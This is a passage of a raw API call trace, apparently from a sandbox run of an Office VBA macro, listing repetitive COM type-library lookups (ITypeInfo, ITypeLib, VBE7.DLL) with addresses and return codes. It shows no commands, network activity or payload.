pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.741] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.741] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.741] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.741] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.741] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.741] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.741] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.741] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.741] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.741] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.741] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.741] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.741] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.742] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.742] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.742] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.742] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.742] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.742] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.742] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.742] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.742] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.742] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.742] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.742] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.742] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.743] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.743] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.743] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.743] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.743] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.743] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.743] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.743] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.743] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.743] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da85ef0, cb=0xc10) returned 0x2885d795fb0 [0071.743] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.743] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.743] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.743] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.744] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.744] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.744] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.744] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.744] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.744] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.744] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.744] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4760, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4760, pBstrName=0x0, pwOrdinal=0xbcb38f4780 | out: pBstrDllName=0xbcb38f4760*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4780*=0x49f0) returned 0x0 [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4760, pwOrdinal=0x500000000) returned 0x0 [0071.744] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f40b0, pIndex=0x0 | out: ppTLib=0xbcb38f40b0*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.744] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f40c0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f40c0, pDummy=0x0) returned 0x0 [0071.744] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.744] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.744] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0xb38f40b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f40b0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0 | out: pBstrDllName=0xbcb38f40b0*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f40d0*=0x4340) returned 0x0 [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f40b0, pwOrdinal=0x500000000) returned 0x0 [0071.745] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4590, pIndex=0x0 | out: ppTLib=0xbcb38f4590*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.745] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f45a0, pDummy=0x0 | out: ppTLibAttr=0xbcb38f45a0, pDummy=0x0) returned 0x0 [0071.745] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.745] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0xb38f4590, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4590, pBstrName=0x0, pwOrdinal=0xbcb38f45b0 | out: pBstrDllName=0xbcb38f4590*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f45b0*=0x4820) returned 0x0 [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4590, pwOrdinal=0x500000000) returned 0x0 [0071.745] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.745] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.745] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.745] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.745] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.745] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.745] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.745] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.746] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4470, pwOrdinal=0x500000000) returned 0x0 [0071.746] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4760, pIndex=0x0 | out: ppTLib=0xbcb38f4760*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.746] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4770, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4770, pDummy=0x0) returned 0x0 [0071.746] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) 